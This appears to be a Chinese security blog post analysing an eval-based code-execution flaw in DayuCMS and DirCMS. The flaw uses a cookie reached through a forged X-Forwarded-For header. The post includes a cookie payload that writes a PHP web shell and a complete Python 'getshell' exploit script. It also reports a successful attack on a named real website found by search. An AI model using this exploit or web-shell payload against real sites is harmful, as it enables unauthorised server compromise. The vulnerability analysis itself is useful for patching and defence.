DayuCMS在将字符串转换为数组的函数中直接利用eval,并且存在可控变量,导致任意代码执行。
DayuCMS可能参考了DirCMS的代码,这两个CMS代码几乎类似。本文只分析DayuCMS
DayuCMS在将字符串转换为数组的函数中直接利用eval,并且存在可控变量,导致任意代码执行。
影响版本:
DayuCMS目前所有版本(最新1.526版本及以下)
DirCMS所有版本(已经不更新了)
/pay/order.php
$payobj=new pay(); $action=isset($action)?$action:'step1'; session_start(); $cookiekey=dayucms_md5('productarray'.IP); $productarray=string2array(get_cookie($cookiekey));
上面代码中的IP声明在include/common.inc.php
define('IP',getIp());
include/global.func.php
// 获取IP地址 function getIp() { $ip='未知IP'; if(!empty($_SERVER['HTTP_CLIENT_IP'])) { return is_ip($_SERVER['HTTP_CLIENT_IP'])?$_SERVER['HTTP_CLIENT_IP']:$ip; } elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { return is_ip($_SERVER['HTTP_X_FORWARDED_FOR'])?$_SERVER['HTTP_X_FORWARDED_FOR']:$ip; } else { return is_ip($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:$ip; } }
发现ip可以利用X-Forwarded-For伪造。
include/global.func.php
function dayucms_md5($str) { return substr(md5($str),8,16); } // 字符串转换为数组 function string2array($str) { if(disablefunc('eval'))exit('函数eval被禁用,可能无法正常使用本系统!'); if($str=='') return array(); if(is_array($str))return $str; // 2011-09-13 是数组的话直接返回 @eval("/$array = $str;"); return $array; } function get_cookie($var) { $var = COOKIE_PRE.$var; return isset($_COOKIE[$var])?$_COOKIE[$var]:false; }
string2array函数的正常用法是:
$tmp = 'array("hello"=>"world")'; $arr = string2array($tmp); var_dump($arr); //此时$arr就为一个数组
但是如果string2array函数参数$str为1;echo 222,那么由于eval可以执行由分号分开的多条语句,所以代码变成@eval("/$array = 1;echo 222;"); 导致代码执行。
可以发现,很多cms都有string2array这样的function。比如phpcms v9 /phpcms/libs/functions/global.func.php中237行。
function string2array($data) { if($data == '') return array(); eval("/$array = $data;"); return $array; }
data/config.inc.php
在get_cookie函数中,COOKIE_PRE宏需要说明一下。
define('COOKIE_PRE', 'rNsg2Zrbzn'); //Cookie 前缀,同一域名下安装多套Dircms时,请修改Cookie前缀
在Dayucms代码中,居然出现了Dircms的字样,所以你们懂的 Orz..
当第一次安装,COOKIE_PRE值是固定的TEVqv2KtR5,以后安装都会随机变化。
很明显根据上面代码,我们可以知道这是一个任意代码执行。
但是为了保证在任何环境下都能利用该POC,所以需要伪造一个固定的ip,那就2.2.2.2吧。
首先先访问pay/order.php,得到COOKIE_PRE为rNsg2Zrbzn,不包括siteid
回到order.php,$cookiekey为060b8081c32887f8,这个值再拼接上COOKIE_PRE,作为新cookie的key即可。
接着用Modify Headers修改XFF为2.2.2.2
上文用2.2.2.2的ip已经算出$cookiekey为060b8081c32887f8,所以设置新cookie的key为rNsg2Zrbzn060b8081c32887f8,这样当再次访问pay/order.php时,get_cookie不再返回flase,string2array函数就能得到调用,并且执行我们构造的代码。
新建cookie,内容为1;fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))
功能:生成JoyChou.php,内容为
<?php assert( $_POST[x] ); ?>
再次访问pay/order.php即可执行代码,生成shell
目前dayucms官网依然可以这样getshell
#coding:utf-8 import requests import sys import hashlib import urllib __Author__ = 'JoyChou' __Date__ = '2015年5月27日 19:13:48' def is_url_getshell(url): order = url[-13:] if order != 'pay/order.php': print 'The url can not getshell...' sys.exit() def printinfo(): print ''' ####################################################### # # # Dayucms or dircms Getshell EXP # # Version: dayucms <= 1.526 and all dircms # # Blog: www.joychou.org # # # ####################################################### Usage: exp.py url Example: exp.py http://www.dayucms.com/pay/order.php ''' def md5(str): return hashlib.md5(str).hexdigest() def dayucms_md5(str): return md5(str)[8:24] # param: http://victim.com/upload/test.php # return: http://victim.com/upload/ def spilit_url(url): m = 0 for i in url[::-1]: #reverse url m+=1 if i == '/': break url_spilit = url[:-(m-1)] return url_spilit def main(url): ip = '2.2.2.2' try: r = requests.get(url) except Exception, e: print e sys.exit() cookie = r.cookies # get cookie_pre from cookie of client request for cookie_tuple in cookie.items(): # cookie.items() return a tuple for key in cookie_tuple: if 'siteid' in key: cookie_pre = key break; cookiekey = dayucms_md5('productarray'+ip) cookiekey = cookie_pre[:-6] + cookiekey print 'X-Forwarded-For is: %s' % ip print 'cookiekey which need to add is: %s' % cookiekey print '' false_headers = {'X-Forwarded-For': ip} # %3b is the urlencode of ; # ; must be replaced by $3b. because in cookies, ; means that one cookie is over # shell password is x shell = '1%3bfputs(fopen(base64_decode(c21pbGVudC5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))' false_cookies = {cookiekey: shell, cookie_pre: '1'} r = requests.get(url, cookies = false_cookies, headers = false_headers) url_shell = spilit_url(url) + 'smilent.php' r = requests.get(url_shell) if r.status_code == 200: print 'getshell success!' print 'shell url is %s' % url_shell else: print 'getshell fail...' if __name__ == '__main__': printinfo() if len(sys.argv) != 2: print 'input error' sys.exit() is_url_getshell(sys.argv[1]) main(sys.argv[1])
百度powered by dircms测试下dircms,发现目标http://www.sywbs.com.cn/pay/order.php,getshell成功
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论